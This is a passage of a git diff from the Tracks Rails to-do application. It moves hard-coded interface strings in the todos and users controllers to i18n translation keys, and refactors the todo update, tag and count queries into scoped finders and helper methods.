@saved # TODO: I think this will work, but can't figure out how to test it - notify :notice, "The action '#{@todo.description}' was marked as #{@todo.completed? ? 'complete' : 'incomplete' }" + notify(:notice, t("todos.action_marked_complete", :description => @todo.description, :completed => @todo.completed? ? 'complete' : 'incomplete')) redirect_to :action => "index" else - notify :notice, "The action '#{@todo.description}' was NOT marked as #{@todo.completed? ? 'complete' : 'incomplete' } due to an error on the server.", "index" + notify(:notice, t("todos.action_marked_complete_error", :description => @todo.description, :completed => @todo.completed? ? 'complete' : 'incomplete'), "index") redirect_to :action => "index" end end @@ -288,15 +316,18 @@ class TodosController < ApplicationController end def toggle_star + @todo = current_user.todos.find(params['id'], :include => [:taggings, :tags]) @todo.toggle_star! - @saved = @todo.save! + @saved = true # cannot determine error respond_to do |format| format.js format.xml { render :xml => @todo.to_xml( :except => :user_id ) } + format.html { redirect_to request.referrer} end end def change_context + # TODO: is this method used? @todo = Todo.find(params[:todo][:id]) @original_item_context_id = @todo.context_id @context = Context.find(params[:todo][:context_id]) @@ -304,7 +335,7 @@ class TodosController < ApplicationController @saved = @todo.save @context_changed = true - @message = "Context changed to #{@context.name}" + @message = t('todos.context_changed', :name => @context.name) determine_remaining_in_context_count(@original_item_context_id) respond_to do |format| @@ -314,124 +345,41 @@ class TodosController < ApplicationController end def update + @todo = current_user.todos.find(params['id']) @source_view = params['_source_view'] || 'todo' init_data_for_sidebar unless mobile? - if params[:tag_list] - @todo.tag_with(params[:tag_list]) - @todo.tags(true) #force a reload for proper rendering - end - @original_item_context_id = @todo.context_id - @original_item_project_id = @todo.project_id - @original_item_was_deferred = @todo.deferred? - @original_item_due = @todo.due - @original_item_due_id = get_due_id_for_calendar(@todo.due) - @original_item_predecessor_list = @todo.predecessors.map{|t| t.specification}.join(', ') - - if params['todo']['project_id'].blank? && !params['project_name'].nil? - if params['project_name'] == 'None' - project = Project.null_object - else - project = current_user.projects.find_by_name(params['project_name'].strip) - unless project - project = current_user.projects.build - project.name = params['project_name'].strip - project.save - @new_project_created = true - end - end - params["todo"]["project_id"] = project.id - end - - if params['todo']['context_id'].blank? && !params['context_name'].blank? - context = current_user.contexts.find_by_name(params['context_name'].strip) - unless context - context = current_user.contexts.build - context.name = params['context_name'].strip - context.save - @new_context_created = true - @not_done_todos = [@todo] - end - params["todo"]["context_id"] = context.id - end - - if params["todo"].has_key?("due") - params["todo"]["due"] = parse_date_per_user_prefs(params["todo"]["due"]) - else - params["todo"]["due"] = "" - end - - if params['todo']['show_from'] - params['todo']['show_from'] = parse_date_per_user_prefs(params['todo']['show_from']) - end - - if params['done'] == '1' && !@todo.completed? - @todo.complete! - @todo.pending_to_activate.each do |t| - t.activate! - end - end - # strange. if checkbox is not checked, there is no 'done' in params. - # Therefore I've used the negation - if !(params['done'] == '1') && @todo.completed? - @todo.activate! - @todo.active_to_block.each do |t| - t.block! - end - end - - @todo.attributes = params["todo"] - @todo.add_predecessor_list(params[:predecessor_list]) + cache_attributes_from_before_update + + update_tags + update_project + update_context + update_due_and_show_from_dates + update_completed_state + update_dependencies + update_attributes_of_todo + @saved = @todo.save - if @saved && params[:predecessor_list] - if @original_item_predecessor_list != params[:predecessor_list] - # Possible state change with new dependencies - if @todo.uncompleted_predecessors.empty? - if @todo.state == 'pending' - @todo.activate! # Activate pending if no uncompleted predecessors - end - else - if @todo.state == 'active' - @todo.block! # Block active if we got uncompleted predecessors - end - end - end - @todo.save! - end - @context_changed = @original_item_context_id != @todo.context_id - @todo_was_activated_from_deferred_state = @original_item_was_deferred && @todo.active? + # this is set after save and cleared after reload, so save it here + @removed_predecessors = @todo.removed_predecessors - if source_view_is :calendar - @due_date_changed = @original_item_due != @todo.due - if @due_date_changed - @old_due_empty = is_old_due_empty(@original_item_due_id) - if @todo.due.nil? - # do not act further on date change when date is changed to nil - @due_date_changed = false - else - @new_due_id = get_due_id_for_calendar(@todo.due) - end - end - end - - if @context_changed - determine_remaining_in_context_count(@original_item_context_id) - else - determine_remaining_in_context_count(@todo.context_id) - end - - @project_changed = @original_item_project_id != @todo.project_id - if (@project_changed && !@original_item_project_id.nil?) then - @todo.update_state_from_project - @todo.save! - @remaining_undone_in_project = current_user.projects.find(@original_item_project_id).not_done_todos.count - end + @todo.reload # refresh context and project object too (not only their id's) + + update_dependency_state + update_todo_state_if_project_changed + + determine_changes_by_this_update + determine_remaining_in_context_count(@context_changed ? @original_item_context_id : @todo.context_id) determine_down_count - determine_deferred_tag_count(params['_tag_name']) if @source_view == 'tag' + determine_deferred_tag_count(params['_tag_name']) if source_view_is(:tag) respond_to do |format| - format.js + format.js { + @status_message = @todo.deferred? ? t('todos.action_saved_to_tickler') : t('todos.action_saved') + @status_message = t('todos.added_new_project') + ' / ' + @status_message if @new_project_created + @status_message = t('todos.added_new_context') + ' / ' + @status_message if @new_context_created + } format.xml { render :xml => @todo.to_xml( :except => :user_id ) } format.m do if @saved @@ -450,7 +398,8 @@ class TodosController < ApplicationController end def destroy - @todo = get_todo_from_params + @source_view = params['_source_view'] || 'todo' + @todo = current_user.todos.find(params['id'], :include => [:pending_successors, :uncompleted_predecessors, :taggings, :tags, :project, :context]) @original_item_due = @todo.due @context_id = @todo.context_id @project_id = @todo.project_id @@ -476,14 +425,14 @@ class TodosController < ApplicationController format.html do if @saved - message = "Successfully deleted next action" + message = t('todos.action_deleted_success') if activated_successor_count > 0 message += " activated #{pluralize(activated_successor_count, 'pending action')}" end notify :notice, message, 2.0 redirect_to :action => 'index' else - notify :error, "Failed to delete the action", 2.0 + notify :error, t('todos.action_deleted_error'), 2.0 redirect_to :action => 'index' end end @@ -507,7 +456,7 @@ class TodosController < ApplicationController end def completed - @page_title = "TRACKS::Completed tasks" + @page_title = t('todos.completed_tasks_title') @done = current_user.completed_todos @done_today = @done.completed_within Time.zone.now - 1.day @done_this_week = @done.completed_within Time.zone.now - 1.week @@ -516,7 +465,7 @@ class TodosController < ApplicationController end def completed_archive - @page_title = "TRACKS::Archived completed tasks" + @page_title = t('todos.archived_tasks_title') @done = current_user.completed_todos @count = @done.size @done_archive = @done.completed_more_than Time.zone.now - 28.days @@ -524,7 +473,7 @@ class TodosController < ApplicationController def list_deferred @source_view = 'deferred' - @page_title = "TRACKS::Tickler" + @page_title = t('todos.deferred_tasks_title') @contexts_to_show = @contexts = current_user.contexts.find(:all) @@ -559,37 +508,32 @@ class TodosController < ApplicationController # /todos/tag/[tag_name] shows all the actions tagged with tag_name def tag + init_data_for_sidebar unless mobile? @source_view = params['_source_view'] || 'tag' @tag_name = params[:name] - @page_title = "TRACKS::Tagged with \'#{@tag_name}\'" + @page_title = t('todos.tagged_page_title', :tag_name => @tag_name) # mobile tags are routed with :name ending on .m. So we need to chomp it @tag_name = @tag_name.chomp('.m') if mobile? @tag = Tag.find_by_name(@tag_name) @tag = Tag.new(:name => @tag_name) if @tag.nil? - tag_collection = @tag.todos - @not_done_todos = tag_collection.find(:all, - :conditions => ['todos.user_id = ? and state = ?', current_user.id, 'active'], - :order => 'todos.due IS NULL, todos.due ASC, todos.created_at ASC') - @hidden_todos = current_user.todos.find(:all, + @not_done_todos = current_user.todos.with_tag(@tag).active.not_hidden.find(:all, + :order => 'todos.due IS NULL, todos.due ASC, todos.created_at ASC', :include => [:context]) + @hidden_todos = current_user.todos.with_tag(@tag).hidden.find(:all, :include => [:taggings, :tags, :context], - :conditions => ['tags.name = ? AND (todos.state = ? OR (contexts.hide = ? AND todos.state = ?))', @tag_name, 'project_hidden', true, 'active'], :order => 'todos.completed_at DESC, todos.created_at DESC') - @deferred = tag_collection.find(:all, - :conditions => ['todos.user_id = ? and state = ?', current_user.id, 'deferred'], - :order => 'show_from ASC, todos.created_at DESC') - @pending = tag_collection.find(:all, - :conditions => ['todos.user_id = ? and state = ?', current_user.id, 'pending'], - :order => 'show_from ASC, todos.created_at DESC') + @deferred = current_user.todos.with_tag(@tag).deferred.find(:all, + :order => 'show_from ASC, todos.created_at DESC', :include => [:context]) + @pending = current_user.todos.with_tag(@tag).blocked.find(:all, + :order => 'show_from ASC, todos.created_at DESC', :include => [:context]) # If you've set no_completed to zero, the completed items box isn't shown on # the tag page max_completed = current_user.prefs.show_number_completed - @done = tag_collection.find(:all, + @done = current_user.todos.with_tag(@tag).completed.find(:all, :limit => max_completed, - :conditions => ['todos.user_id = ? and state = ?', current_user.id, 'completed'], :order => 'todos.completed_at DESC') @projects = current_user.projects @@ -616,25 +560,38 @@ class TodosController < ApplicationController end def tags - @tags = Tag.all + @tags = Tag.find(:all, :conditions =>['name like ?', '%'+params[:term]+'%']) respond_to do |format| - format.autocomplete { render :text => for_autocomplete(@tags, params[:q]) } + format.autocomplete { render :text => for_autocomplete(@tags, params[:term]) } end end def defer @source_view = params['_source_view'] || 'todo' numdays = params['days'].to_i - @todo = Todo.find(params[:id]) + + @todo = current_user.todos.find(params[:id], :include => [:taggings, :tags, :uncompleted_predecessors, :pending_successors]) @original_item_context_id = @todo.context_id + @todo_deferred_state_changed = true + @new_context_created = false + @due_date_changed = false + @tag_was_removed = false + @todo_hidden_state_changed = false + @todo_was_deferred_from_active_state = @todo.show_from.nil? + @todo.show_from = (@todo.show_from || @todo.user.date) + numdays.days @saved = @todo.save determine_down_count determine_remaining_in_context_count(@todo.context_id) - if @source_view == 'project' - @remaining_undone_in_project = current_user.projects.find(@todo.project_id).not_done_todos.count - @original_item_project_id = @todo.project_id + source_view do |page| + page.project { + @remaining_undone_in_project = current_user.projects.find(@todo.project_id).todos.not_completed.count + @original_item_project_id = @todo.project_id + } + page.tag { + determine_deferred_tag_count(params['_tag_name']) + } end respond_to do |format| @@ -645,7 +602,7 @@ class TodosController < ApplicationController def calendar @source_view = params['_source_view'] || 'calendar' - @page_title = "TRACKS::Calendar" + @page_title = t('todos.calendar_page_title') @projects = current_user.projects.find(:all) @@ -707,7 +664,7 @@ class TodosController < ApplicationController :conditions => [ '(todos.state = ? OR todos.state = ? OR todos.state = ?) AND ' + 'NOT (id = ?) AND lower(description) LIKE ?', 'active', 'pending', 'deferred', - params[:id], '%' + params[:q].downcase + '%' ], + params[:id], '%' + params[:term].downcase + '%' ], :order => 'description ASC', :limit => 10 ) @@ -718,12 +675,12 @@ class TodosController < ApplicationController :select => 'description, project_id, context_id, created_at', :conditions => [ '(todos.state = ? OR todos.state = ? OR todos.state = ?) AND lower(description) LIKE ?', 'active', 'pending', 'deferred', - '%' + params[:q].downcase + '%' ], + '%' + params[:term].downcase + '%' ], :order => 'description ASC', :limit => 10 ) end - render :inline => "<%= auto_complete_result2(@items) %>" + render :inline => auto_complete_result2(@items) end def convert_to_project @@ -736,6 +693,7 @@ class TodosController < ApplicationController end def show_notes + @todo = current_user.todos.find(params['id']) @return_path=cookies[:mobile_url] ? cookies[:mobile_url] : mobile_path respond_to do |format| format.html { @@ -750,6 +708,8 @@ class TodosController < ApplicationController private def get_todo_from_params + # TODO: this was a :append_before but was removed to tune performance per + # method. Reconsider re-enabling it @todo = current_user.todos.find(params['id']) end @@ -778,24 +738,24 @@ class TodosController < ApplicationController condition_builder.add 'todos.state = ?', 'active' end - @title = "Tracks - Next Actions" - @description = "Filter: " + @title = t('todos.next_actions_title') + @description = t('todos.next_actions_description') if params.key?('due') due_within = params['due'].to_i due_within_when = Time.zone.now + due_within.days condition_builder.add('todos.due <= ?', due_within_when) due_within_date_s = due_within_when.strftime("%Y-%m-%d") - @title << " due today" if (due_within == 0) - @title << " due within a week" if (due_within == 6) - @description << " with a due date #{due_within_date_s} or earlier" + @title << t('todos.next_actions_title_additions.due_today') if (due_within == 0) + @title << t('todos.next_actions_title_additions.due_within_a_week') if (due_within == 6) + @description << t('todos.next_actions_description_additions.due_date', :due_date => due_within_date_s) end if params.key?('done') done_in_last = params['done'].to_i condition_builder.add('todos.completed_at >= ?', Time.zone.now - done_in_last.days) - @title << " actions completed" - @description << " in the last #{done_in_last.to_s} days" + @title << t('todos.next_actions_title_additions.completed') + @description << t('todos.next_actions_description_additions.completed', :count => done_in_last.to_s) end if params.key?('tag') @@ -813,16 +773,16 @@ class TodosController < ApplicationController end def with_parent_resource_scope(&block) - @feed_title = "Actions " + @feed_title = t('common.actions') if (params[:context_id]) @context = current_user.contexts.find_by_params(params) - @feed_title = @feed_title + "in context '#{@context.name}'" + @feed_title = @feed_title + t('todos.feed_title_in_context', :context => @context.name) Todo.send :with_scope, :find => {:conditions => ['todos.context_id = ?', @context.id]} do yield end elsif (params[:project_id]) @project = current_user.projects.find_by_params(params) - @feed_title = @feed_title + "in project '#{@project.name}'" + @feed_title = @feed_title + t('todos.feed_title_in_project', :project => @project.name) @project_feed = true Todo.send :with_scope, :find => {:conditions => ['todos.project_id = ?', @project.id]} do yield @@ -839,9 +799,9 @@ class TodosController < ApplicationController end if TodosController.is_feed_request(request) && @description if params.key?('limit') - @description << "Lists the last #{params['limit']} incomplete next actions" + @description << t('todos.list_incomplete_next_actions_with_limit', :count => params['limit']) else - @description << "Lists incomplete next actions" + @description << t('todos.list_incomplete_next_actions') end end else @@ -862,12 +822,11 @@ class TodosController < ApplicationController # current_users.todos.find but that broke with_scope for :limit # Exclude hidden projects from count on home page - @todos = Todo.find(:all, :conditions => ['todos.user_id = ?', current_user.id], :include => [ :project, :context, :tags ]) + @todos = current_user.todos.find(:all, :include => [ :project, :context, :tags ]) # Exclude hidden projects from the home page - @not_done_todos = Todo.find(:all, - :conditions => ['todos.user_id = ? AND contexts.hide = ? AND (projects.state = ? OR todos.project_id IS NULL)', - current_user.id, false, 'active'], + @not_done_todos = current_user.todos.find(:all, + :conditions => ['contexts.hide = ? AND (projects.state = ? OR todos.project_id IS NULL)', false, 'active'], :order => "todos.due IS NULL, todos.due ASC, todos.created_at ASC", :include => [ :project, :context, :tags ]) end @@ -882,9 +841,8 @@ class TodosController < ApplicationController # but that broke with_scope for :limit # Exclude hidden projects from the home page - @not_done_todos = Todo.find(:all, - :conditions => ['todos.user_id = ? AND todos.state = ? AND contexts.hide = ? AND (projects.state = ? OR todos.project_id IS NULL)', - current_user.id, 'active', false, 'active'], + @not_done_todos = current_user.todos.find(:all, + :conditions => ['todos.state = ? AND contexts.hide = ? AND (projects.state = ? OR todos.project_id IS NULL)', 'active', false, 'active'], :order => "todos.due IS NULL, todos.due ASC, todos.created_at ASC", :include => [ :project, :context, :tags ]) end @@ -892,27 +850,18 @@ class TodosController < ApplicationController def determine_down_count source_view do |from| from.todo do - @down_count = Todo.count( - :all, - :conditions => ['todos.user_id = ? and todos.state = ? and contexts.hide = ? AND (projects.state = ? OR todos.project_id IS NULL)', current_user.id, 'active', false, 'active'], - :include => [ :project, :context ]) - # #@down_count = Todo.count_by_sql(['SELECT COUNT(*) FROM todos, - # contexts WHERE todos.context_id = contexts.id and todos.user_id = ? - # and todos.state = ? and contexts.hide = ?', current_user.id, 'active', - # false]) + @down_count = current_user.todos.active.not_hidden.count end from.context do - @down_count = current_user.contexts.find(@todo.context_id).not_done_todo_count + @down_count = current_user.contexts.find(@todo.context_id).todos.not_completed.count(:all) end from.project do unless @todo.project_id == nil - @down_count = current_user.projects.find(@todo.project_id).not_done_todos_including_hidden.count - @deferred_count = current_user.projects.find(@todo.project_id).deferred_todos.count - @pending_count = current_user.projects.find(@todo.project_id).pending_todos.count + @down_count = current_user.projects.find(@todo.project_id).todos.active_or_hidden.count end end from.deferred do - @down_count = current_user.todos.count_in_state(:deferred) + @down_count = current_user.todos.deferred_or_blocked.count(:all) end from.tag do @tag_name = params['_tag_name'] @@ -920,58 +869,72 @@ class TodosController < ApplicationController if @tag.nil? @tag = Tag.new(:name => @tag_name) end - tag_collection = @tag.todos - @not_done_todos = tag_collection.find(:all, :conditions => ['todos.user_id = ? and state = ?', current_user.id, 'active']) - @not_done_todos.empty? ? @down_count = 0 : @down_count = @not_done_todos.size + @down_count = current_user.todos.with_tag(@tag).active.not_hidden.count end end end def determine_remaining_in_context_count(context_id = @todo.context_id) source_view do |from| - from.deferred { @remaining_in_context = current_user.contexts.find(context_id).deferred_todo_count } - from.tag { + from.deferred { + # force reload to todos to get correct count and not a cached one + @remaining_in_context = current_user.contexts.find(context_id).todos.deferred_or_blocked.count + @target_context_count = current_user.contexts.find(@todo.context_id).todos.deferred_or_blocked.count + } + from.tag { tag = Tag.find_by_name(params['_tag_name']) if tag.nil? tag = Tag.new(:name => params['tag']) end - @remaining_in_context = current_user.contexts.find(context_id).not_done_todo_count({:tag => tag.id}) + @remaining_in_context = current_user.contexts.find(context_id).todos.active.not_hidden.with_tag(tag).count + @target_context_count = current_user.contexts.find(@todo.context_id).todos.active.not_hidden.with_tag(tag).count + @remaining_hidden_count = current_user.todos.hidden.with_tag(tag).count + } + from.project { + @remaining_deferred_or_pending_count = current_user.projects.find(@todo.project_id).todos.deferred_or_blocked.count + @remaining_in_context = current_user.projects.find(@todo.project_id).todos.active.count + @target_context_count = current_user.projects.find(@todo.project_id).todos.active.count + } + from.calendar { + @target_context_count = count_old_due_empty(@new_due_id) } end - @remaining_in_context = current_user.contexts.find(context_id).not_done_todo_count if @remaining_in_context.nil? + @remaining_in_context = current_user.contexts.find(context_id).todos(true).active.not_hidden.count if !@remaining_in_context + @target_context_count = current_user.contexts.find(@todo.context_id).todos(true).active.not_hidden.count if !@target_context_count end def determine_completed_count source_view do |from| from.todo do - @completed_count = Todo.count_by_sql(['SELECT COUNT(*) FROM todos, contexts WHERE todos.context_id = contexts.id and todos.user_id = ? and todos.state = ? and contexts.hide = ?', current_user.id, 'completed', false]) + @completed_count = current_user.todos.not_hidden.completed.count end from.context do - @completed_count = current_user.contexts.find(@todo.context_id).done_todo_count + todos = current_user.contexts.find(@todo.context_id).todos.completed + todos = todos.not_hidden if !@todo.context.hidden? + @completed_count = todos.count end from.project do unless @todo.project_id == nil - @completed_count = current_user.projects.find(@todo.project_id).done_todos.count + todos = current_user.projects.find(@todo.project_id).todos.completed + todos = todos.not_hidden if !@todo.project.hidden? + @completed_count = todos.count end end + from.tag do + @completed_count = current_user.todos.with_tag(@tag).completed.count + end end end - def determine_deferred_tag_count(tag) - tags = Tag.find_by_name(tag) - if tags.nil? - # should normally not happen, but is a workaround for #929 - @deferred_tag_count = 0 - else - @deferred_tag_count = tags.todos.count(:all, - :conditions => ['todos.user_id = ? and state = ?', current_user.id, 'deferred'], - :order => 'show_from ASC, todos.created_at DESC') - end + def determine_deferred_tag_count(tag_name) + tag = Tag.find_by_name(tag_name) + # tag.nil? should normally not happen, but is a workaround for #929 + @remaining_deferred_or_pending_count = tag.nil? ? 0 : current_user.todos.deferred.with_tag(tag).count end def render_todos_html lambda do - @page_title = "TRACKS::List tasks" + @page_title = t('todos.task_list_title') # If you've set no_completed to zero, the completed items box isn't shown # on the home page @@ -979,16 +942,7 @@ class TodosController < ApplicationController @done = current_user.completed_todos.find(:all, :limit => max_completed, :include => [ :context, :project, :tags ]) unless max_completed == 0 # Set count badge to number of not-done, not hidden context items - @count = 0 - @todos.each do |x| - if x.active? - if x.project.nil? - @count += 1 if !x.context.hide? - else - @count += 1 if x.project.active? && !x.context.hide? - end - end - end + @count = current_user.todos.active.not_hidden.count(:all) render end @@ -996,7 +950,7 @@ class TodosController < ApplicationController def render_todos_mobile lambda do - @page_title = "All actions" + @page_title = t('todos.mobile_todos_page_title') @home = true cookies[:mobile_url]= { :value => request.request_uri, :secure => SITE_CONFIG['secure_cookies']} determine_down_count @@ -1026,15 +980,15 @@ class TodosController < ApplicationController def todo_feed_content lambda do |i| item_notes = sanitize(markdown( i.notes )) if i.notes? - due = "
Due: #{format_date(i.due)}
\n" if i.due? - done = "
Completed: #{format_date(i.completed_at)}
\n" if i.completed? + due = "
#{t('todos.feeds.due', :date => format_date(i.due))}
\n" if i.due? + done = "
#{t('todos.feeds.completed', :date => format_date(i.completed_at))}
\n" if i.completed? context_link = "#{ i.context.name }" if i.project_id? project_link = "#{ i.project.name }" else - project_link = "none" + project_link = "#{t('common.none')}" end - "#{done||''}#{due||''}#{item_notes||''}\n
Project: #{project_link}
\n
Context: #{context_link}
" + "#{done||''}#{due||''}#{item_notes||''}\n
#{t('common.project')}: #{project_link}
\n
#{t('common.context')}: #{context_link}
" end end @@ -1122,31 +1076,181 @@ class TodosController < ApplicationController end def is_old_due_empty(id) + return 0 == count_old_due_empty(id) + end + + def count_old_due_empty(id) due_today_date = Time.zone.now due_this_week_date = Time.zone.now.end_of_week due_next_week_date = due_this_week_date + 7.days due_this_month_date = Time.zone.now.end_of_month case id when "due_today" - return 0 == current_user.todos.not_completed.count(:all, + return current_user.todos.not_completed.count(:all, :conditions => ['todos.due <= ?', due_today_date]) when "due_this_week" - return 0 == current_user.todos.not_completed.count(:all, + return current_user.todos.not_completed.count(:all, :conditions => ['todos.due > ? AND todos.due <= ?', due_today_date, due_this_week_date]) when "due_next_week" - return 0 == current_user.todos.not_completed.count(:all, + return current_user.todos.not_completed.count(:all, :conditions => ['todos.due > ? AND todos.due <= ?', due_this_week_date, due_next_week_date]) when "due_this_month" - return 0 == current_user.todos.not_completed.count(:all, + return current_user.todos.not_completed.count(:all, :conditions => ['todos.due > ? AND todos.due <= ?', due_next_week_date, due_this_month_date]) when "due_after_this_month" - return 0 == current_user.todos.not_completed.count(:all, + return current_user.todos.not_completed.count(:all, :conditions => ['todos.due > ?', due_this_month_date]) else raise Exception.new, "unknown due id for calendar: '#{id}'" end end + def cache_attributes_from_before_update + @original_item_context_id = @todo.context_id + @original_item_project_id = @todo.project_id + @original_item_was_deferred = @todo.deferred? + @original_item_was_hidden = @todo.hidden? + @original_item_was_pending = @todo.pending? + @original_item_due = @todo.due + @original_item_due_id = get_due_id_for_calendar(@todo.due) + @original_item_predecessor_list = @todo.predecessors.map{|t| t.specification}.join(', ') + end + + def update_project + @project_changed = false; + if params['todo']['project_id'].blank? && !params['project_name'].nil? + if params['project_name'] == 'None' + project = Project.null_object + else + project = current_user.projects.find_by_name(params['project_name'].strip) + unless project + project = current_user.projects.build + project.name = params['project_name'].strip + project.save + @new_project_created = true + end + end + params["todo"]["project_id"] = project.id + @project_changed = @original_item_project_id != params["todo"]["project_id"] = project.id + end + end + + def update_todo_state_if_project_changed + if ( @project_changed ) then + @todo.update_state_from_project + @remaining_undone_in_project = current_user.projects.find(@original_item_project_id).todos.active.count if source_view_is :project + end + end + + def update_context + @context_changed = false + if params['todo']['context_id'].blank? && !params['context_name'].blank? + context = current_user.contexts.find_by_name(params['context_name'].strip) + unless context + @new_context = current_user.contexts.build + @new_context.name = params['context_name'].strip + @new_context.save + @new_context_created = true + @not_done_todos = [@todo] + context = @new_context + end + params["todo"]["context_id"] = context.id + @context_changed = @original_item_context_id != params["todo"]["context_id"] = context.id + end + end + + def update_tags + if params[:tag_list] + @todo.tag_with(params[:tag_list]) + @todo.tags(true) #force a reload for proper rendering + end + end + + def update_due_and_show_from_dates + if params["todo"].has_key?("due") + params["todo"]["due"] = parse_date_per_user_prefs(params["todo"]["due"]) + else + params["todo"]["due"] = "" + end + if params['todo']['show_from'] + params['todo']['show_from'] = parse_date_per_user_prefs(params['todo']['show_from']) + end + end + + def update_completed_state + if params['done'] == '1' && !@todo.completed? + @todo.complete! + @todo.pending_to_activate.each do |t| + t.activate! + end + end + # strange. if checkbox is not checked, there is no 'done' in params. + # Therefore I've used the negation + if !(params['done'] == '1') && @todo.completed? + @todo.activate! + @todo.active_to_block.each do |t| + t.block! + end + end + end + + def update_dependencies + @todo.add_predecessor_list(params[:predecessor_list]) + end + + def update_dependency_state + # assumes @todo.save was called so that the predecessor_list is persistent + if @original_item_predecessor_list != params[:predecessor_list] + # Possible state change with new dependencies + if @todo.uncompleted_predecessors.empty? + @todo.activate! if @todo.state == 'pending' # Activate pending if no uncompleted predecessors + else + @todo.block! if @todo.state == 'active' # Block active if we got uncompleted predecessors + end + end + end + + def update_attributes_of_todo + @todo.attributes = params["todo"] + end + + def determine_changes_by_this_update + @todo_was_activated_from_deferred_state = @todo.active? && @original_item_was_deferred + @todo_was_activated_from_pending_state = @todo.active? && @original_item_was_pending + @todo_was_deferred_from_active_state = @todo.deferred? && !@original_item_was_deferred + @todo_was_blocked_from_active_state = @todo.pending? && !@original_item_was_pending + + @todo_deferred_state_changed = @original_item_was_deferred != @todo.deferred? + @todo_pending_state_changed = @original_item_was_pending != @todo.pending? + @todo_hidden_state_changed = @original_item_was_hidden != @todo.hidden? + + @due_date_changed = @original_item_due != @todo.due + + source_view do |page| + page.calendar do + @old_due_empty = is_old_due_empty(@original_item_due_id) + @new_due_id = get_due_id_for_calendar(@todo.due) + end + page.tag do + @tag_name = params['_tag_name'] + @tag_was_removed = !@todo.has_tag?(@tag_name) + end + end + end + + def project_specified_by_name(project_name) + return false unless params['project_id'].blank? + return false if project_name.blank? + return false if project_name == 'None' + true + end + + def context_specified_by_name(context_name) + return false unless params['context_id'].blank? + return false if context_name.blank? + true + end + class FindConditionBuilder def initialize @@ -1221,19 +1325,4 @@ class TodosController < ApplicationController end - private - - def project_specified_by_name(project_name) - return false unless params['project_id'].blank? - return false if project_name.blank? - return false if project_name == 'None' - true - end - - def context_specified_by_name(context_name) - return false unless params['context_id'].blank? - return false if context_name.blank? - true - end - -end +end \ No newline at end of file diff --git a/app/controllers/users_controller.rb b/app/controllers/users_controller.rb index 1198837f..b4003c36 100644 --- a/app/controllers/users_controller.rb +++ b/app/controllers/users_controller.rb @@ -35,15 +35,15 @@ class UsersController < ApplicationController end if User.no_users_yet? - @page_title = "TRACKS::Sign up as the admin user" - @heading = "Welcome to TRACKS. To get started, please create an admin account:" + @page_title = t('users.new_user_title') + @heading = t('users.first_user_heading') @user = get_new_user elsif (@user && @user.is_admin?) || SITE_CONFIG['open_signups'] - @page_title = "TRACKS::Sign up a new user" - @heading = "Sign up a new user:" + @page_title = t('users.new_user_title') + @heading = t('users.new_user_heading') @user = get_new_user else # all other situations (i.e. a non-admin is logged in, or no one is logged in, but we have some users) - @page_title = "TRACKS::No signups" + @page_title = t('users.no_signups_title') @admin_email = User.find_admin.preference.admin_email render :action => "nosignup", :layout => "login" return @@ -66,7 +66,7 @@ class UsersController < ApplicationController respond_to do |format| format.html do unless User.no_users_yet? || (@user && @user.is_admin?) || SITE_CONFIG['open_signups'] - @page_title = "No signups" + @page_title = t('users.no_signups_title') @admin_email = User.find_admin.preference.admin_email render :action => "nosignup", :layout => "login" return @@ -98,10 +98,10 @@ class UsersController < ApplicationController user.is_admin = true if first_user_signing_up if user.save @user = User.authenticate(user.login, params['user']['password']) - @user.create_preference + @user.create_preference({:locale => I18n.locale}) @user.save session['user_id'] = @user.id if first_user_signing_up - notify :notice, "Signup successful for user #{@user.login}." + notify :notice, t('users.signup_successful', :username => @user.login) redirect_back_or_home end return @@ -121,7 +121,7 @@ class UsersController < ApplicationController end user.password_confirmation = params[:request][:password] if user.save - render :text => "User created.", :status => 200 + render :text => t('users.user_created'), :status => 200 else render_failure user.errors.to_xml end @@ -139,9 +139,9 @@ class UsersController < ApplicationController respond_to do |format| format.html do if @saved - notify :notice, "Successfully deleted user #{@deleted_user.login}", 2.0 + notify :notice, t('users.successfully_deleted_user', :username => @deleted_user.login), 2.0 else - notify :error, "Failed to delete user #{@deleted_user.login}", 2.0 + notify :error, t('users.failed_to_delete_user', :username => @deleted_user.login), 2.0 end redirect_to users_url end @@ -152,12 +152,12 @@ class UsersController < ApplicationController def change_password - @page_title = "TRACKS::Change password" + @page_title = t('users.change_password_title') end def update_password @user.change_password(params[:updateuser][:password], params[:updateuser][:password_confirmation]) - notify :notice, "Password updated." + notify :notice, t('users.password_updated') redirect_to preferences_path rescue Exception => error notify :error, error.message @@ -165,7 +165,7 @@ class UsersController < ApplicationController end def change_auth_type - @page_title = "TRACKS::Change authentication type" + @page_title = t('users.change_auth_type_title') end def update_auth_type @@ -177,10 +177,10 @@ class UsersController < ApplicationController @user.auth_type = 'open_id' @user.open_id_url = identity_url if @user.save - notify :notice, "You have successfully verified #{identity_url} as your identity and set your authentication type to Open ID." + notify :notice, t('users.openid_url_verified', :url => identity_url) else debugger - notify :warning, "You have successfully verified #{identity_url} as your identity but there was a problem saving your authentication preferences." + notify :warning, t('users.openid_ok_pref_failed', :url => identity_url) end redirect_to preferences_path else @@ -192,10 +192,10 @@ class UsersController < ApplicationController end @user.auth_type = params[:user][:auth_type] if @user.save - notify :notice, "Authentication type updated." + notify :notice, t('users.auth_type_updated') redirect_to preferences_path else - notify :warning, "There was a problem updating your authentication type: #{ @user.errors.full_messages.join(', ')}" + notify :warning, t('users.auth_type_update_error', :error_messages => @user.errors.full_messages.join(', ')) redirect_to :action => 'change_auth_type' end end @@ -203,7 +203,7 @@ class UsersController < ApplicationController def refresh_token @user.generate_token @user.save! - notify :notice, "New token successfully generated" + notify :notice, t('users.new_token_generated') redirect_to preferences_path end diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb index a6b51172..0f6fa52c 100644 --- a/app/helpers/application_helper.rb +++ b/app/helpers/application_helper.rb @@ -104,11 +104,29 @@ module ApplicationHelper end def link_to_context(context, descriptor = sanitize(context.name)) - link_to( descriptor, context_path(context), :title => "View context: #{context.name}" ) + link_to( descriptor, context, :title => "View context: #{context.name}" ) end def link_to_project(project, descriptor = sanitize(project.name)) - link_to( descriptor, project_path(project), :title => "View project: #{project.name}" ) + link_to( descriptor, project, :title => "View project: #{project.name}" ) + end + + def link_to_edit_project (project, descriptor = sanitize(project.name)) + link_to(descriptor, + url_for({:controller => 'projects', :action => 'edit', :id => project.id}), + {:id => "link_edit_#{dom_id(project)}", :class => "project_edit_settings"}) + end + + def link_to_edit_context (context, descriptor = sanitize(context.name)) + link_to(descriptor, + url_for({:controller => 'contexts', :action => 'edit', :id => context.id}), + {:id => "link_edit_#{dom_id(context)}", :class => "context_edit_settings"}) + end 